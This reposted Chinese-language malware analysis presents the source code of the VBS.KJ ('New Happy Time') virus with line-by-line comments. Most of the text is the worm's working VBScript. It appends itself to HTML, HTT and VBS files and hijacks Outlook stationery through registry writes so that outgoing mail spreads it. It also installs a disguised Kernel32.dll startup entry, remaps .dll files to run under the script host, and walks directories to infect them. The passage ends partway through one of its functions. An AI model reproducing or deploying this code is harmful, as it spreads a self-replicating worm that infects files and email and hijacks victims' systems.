VBS.KJ[新歡樂時光病毒]源代碼分析[轉(zhuǎn)載]

'    Virus:   VBS.KJ 
'    Analyze by DanceFire (DanceFire@263.net) 
'    2002/7/10 
' 

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk 
Sub KJ_start() 
    '    初始化變量 
    KJSetDim() 
    '    初始化環(huán)境 
    KJCreateMilieu() 
    '    感染本地或者共享上與html所在目錄 
    KJLikeIt() 
    '    通過vbs感染Outlook郵件模板 
    KJCreateMail() 
    '    進行病毒傳播 
    KJPropagate() 
End Sub 

'    函數(shù)：KJAppendTo(FilePath,TypeStr) 
'    功能：向指定類型的指定文件追加病毒 
'    參數(shù)： 
'        FilePath     指定文件路徑 
'        TypeStr      指定類型 
Function KJAppendTo(FilePath,TypeStr) 
    On Error Resume Next 
    '    以只讀方式打開指定文件 
    Set ReadTemp = FSO.OpenTextFile(FilePath,1) 
    '    將文件內(nèi)容讀入到TmpStr變量中 
    TmpStr = ReadTemp.ReadAll 
    '    判斷文件中是否存在"KJ_start()"字符串，若存在說明已經(jīng)感染，退出函數(shù)； 
    '    若文件長度小于1，也退出函數(shù)。 
    If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then 
        ReadTemp.Close 
        Exit Function 
    End If 
    '    如果傳過來的類型是"htt" 
    '        在文件頭加上調(diào)用頁面的時候加載KJ_start()函數(shù); 
    '        在文件尾追加html版本的加密病毒體。 
    '    如果是"html" 
    '        在文件尾追加調(diào)用頁面的時候加載KJ_start()函數(shù)和html版本的病毒體; 
    '    如果是"vbs" 
    '        在文件尾追加vbs版本的病毒體 
    If TypeStr = "htt" Then 
        ReadTemp.Close 
        Set FileTemp = FSO.OpenTextFile(FilePath,2) 
        FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText 
        FileTemp.Close 
        Set FAttrib = FSO.GetFile(FilePath) 
        FAttrib.attributes = 34 
    Else 
        ReadTemp.Close 
        Set FileTemp = FSO.OpenTextFile(FilePath,8) 
        If TypeStr = "html" Then 
            FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
        ElseIf TypeStr = "vbs" Then 
            FileTemp.Write vbCrLf & VbsText 
        End If 
        FileTemp.Close 
    End If 
End Function 

'    函數(shù)：KJChangeSub(CurrentString,LastIndexChar) 
'    功能：改變子目錄以及盤符 
'    參數(shù)： 
'        CurrentString    當前目錄 
'        LastIndexChar    上一級目錄在當前路徑中的位置 
Function KJChangeSub(CurrentString,LastIndexChar) 
    '    判斷是否是根目錄 
    If LastIndexChar = 0 Then 
        '    如果是根目錄 
        '        如果是C:\，返回FinalyDisk盤，并將SubE置為0， 
        '        如果不是C:\，返回將當前盤符遞減1，并將SubE置為0 
        If Left(LCase(CurrentString),1) =< LCase("c") Then 
            KJChangeSub = FinalyDisk & ":\" 
            SubE = 0 
        Else 
            KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\" 
            SubE = 0 
        End If 
    Else 
        '    如果不是根目錄，則返回上一級目錄名稱 
        KJChangeSub = Mid(CurrentString,1,LastIndexChar) 
    End If 
End Function 

'    函數(shù)：KJCreateMail() 
'    功能：感染郵件部分 
Function KJCreateMail() 
    On Error Resume Next 
    '    如果當前執(zhí)行文件是"html"的，就退出函數(shù) 
    If InWhere = "html" Then 
        Exit Function 
    End If 
    '    取系統(tǒng)盤的空白頁的路徑 
    ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm" 
    '    如果存在這個文件，就向其追加html的病毒體 
    '    否則生成含有病毒體的這個文件 
    If (FSO.FileExists(ShareFile)) Then 
        Call KJAppendTo(ShareFile,"html") 
    Else 
        Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) 
        FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
        FileTemp.Close 
    End If 
    '    取得當前用戶的ID和OutLook的版本 
    DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID") 
    OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer") 
    '    激活信紙功能，并感染所有信紙 
    WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile) 
    Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile) 
    WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
    WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
    Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank") 
    KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery") 
End Function 


'     函數(shù):KJCreateMilieu() 
'     功能：創(chuàng)建系統(tǒng)環(huán)境 
Function KJCreateMilieu() 
    On Error Resume Next 
    TempPath = "" 
    '     判斷操作系統(tǒng)是NT/2000還是9X 
    If Not(FSO.FileExists(WinPath & "WScript.exe")) Then 
        TempPath = "system32\" 
    End If 
    '     為了文件名起到迷惑性，并且不會與系統(tǒng)文件沖突。 
    '     如果是NT/2000則啟動文件為system\Kernel32.dll 
    '     如果是9x啟動文件則為system\Kernel.dll 
    If TempPath = "system32\" Then 
        StartUpFile = WinPath & "SYSTEM\Kernel32.dll" 
    Else 
        StartUpFile = WinPath & "SYSTEM\Kernel.dll" 
    End If 
    '     添加Run值，添加剛才生成的啟動文件路徑 
    WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile 
    '    拷貝前期備份的文件到原來的目錄 
    FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt" 
    FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini" 
    '    向%windir%\web\Folder.htt追加病毒體 
    Call KJAppendTo(WinPath & "web\Folder.htt","htt") 
    '    改變dll的MIME頭 
    '    改變dll的默認圖標 
    '    改變dll的打開方式 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\") 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}" 
    WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}" 
    '    啟動時加載的病毒文件中寫入病毒體 
    Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) 
    FileTemp.Write VbsText 
    FileTemp.Close 
End Function 

'    函數(shù)：KJLikeIt() 
'    功能：針對html文件進行處理，如果訪問的是本地的或者共享上的文件，將感染這個目錄 
Function KJLikeIt() 
    '    如果當前執(zhí)行文件不是"html"的就退出程序 
    If InWhere <> "html" Then 
        Exit Function 
    End If 
    '    取得文檔當前路徑 
    ThisLocation = document.location 
    '    如果是本地或網(wǎng)上共享文件 
    If Left(ThisLocation, 4) = "file" Then 
        ThisLocation = Mid(ThisLocation,9) 
        '    如果這個文件擴展名不為空，在ThisLocation中保存它的路徑 
        If FSO.GetExtensionName(ThisLocation) <> "" then 
            ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation))) 
        End If 
        '    如果ThisLocation的長度大于3就尾追一個"\" 
        If Len(ThisLocation) > 3 Then 
            ThisLocation = ThisLocation & "\" 
        End If 
        '    感染這個目錄 
        KJummageFolder(ThisLocation) 
    End If 
End Function 

'    函數(shù)：KJMailReg(RegStr,FileName) 
'    功能：如果注冊表指定鍵值不存在，則向指定位置寫入指定文件名 
'    參數(shù)： 
'        RegStr       注冊表指定鍵值 
'        FileName     指定文件名 
Function KJMailReg(RegStr,FileName) 
    On Error Resume Next 
    '    如果注冊表指定鍵值不存在，則向指定位置寫入指定文件名 
    RegTempStr = WsShell.RegRead(RegStr) 
    If RegTempStr = "" Then 
        WsShell.RegWrite RegStr,FileName 
    End If 
End Function 

'    函數(shù)：KJOboSub(CurrentString)